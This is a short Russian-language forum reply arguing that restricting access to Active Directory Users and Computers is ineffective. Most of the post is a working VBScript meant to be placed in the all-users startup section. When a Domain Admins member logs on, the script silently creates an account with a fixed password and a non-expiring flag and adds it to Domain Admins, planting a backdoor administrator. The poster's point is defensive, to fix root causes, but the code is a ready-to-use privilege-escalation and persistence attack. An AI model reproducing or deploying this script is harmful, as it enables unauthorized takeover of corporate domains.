[zero55]

Ivan Bardeen, Какой смысл ограничивать доступ к ADUC если можно обойти ограничение вот так?

вешаем в секцию автозапуска для всех.

On Error Resume Next

username = "user"
password = "P@ssw0rd"

Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN
Set objSysInfo = CreateObject("ADSystemInfo")
strUserDN = objSysInfo.userName
Set objUser = GetObject("LDAP://" & strUserDN)

If IsMember("Domain Admins") Then

Set objRoot = GetObject("LDAP://rootDSE")
Set objContainer = GetObject("LDAP://cn=Users," & objRoot.Get("defaultNamingContext"))

Set objUserCreate = objContainer.Create("User", "cn=" & username)
objUserCreate.Put "sAMAccountName", username
objUserCreate.SetInfo

objUserCreate.SetPassword password
objUserCreate.Put "userAccountControl", 66048
objUserCreate.SetInfo

Set objGroup = GetObject ("LDAP://cn=Domain Admins, cn=Users," & objRoot.Get("defaultNamingContext"))
objGroup.PutEx 3, "member", Array("cn=" & username & ", cn=Users," & objRoot.Get("defaultNamingContext"))
objGroup.SetInfo

End If

Function IsMember(strGroup)
Dim objGroupList
If IsEmpty(objGroupList) Then
Set objGroupList = CreateObject("Scripting.Dictionary")
objGroupList.CompareMode = vbTextCompare
For Each objGroup In objUser.Groups
objGroupList(objGroup.sAMAccountName) = True
Next
End If
IsMember = objGroupList.Exists(strGroup)
End Function

не спорю, мера может оказаться эффективной от человека который кроме ADUC-а ничего не видел, но поверьте даже при наличии прав локального администратора можно подняться до администратора домена очень просто...

Я к тому что самое правильное - исключить причину а не пытаться залатать следствие.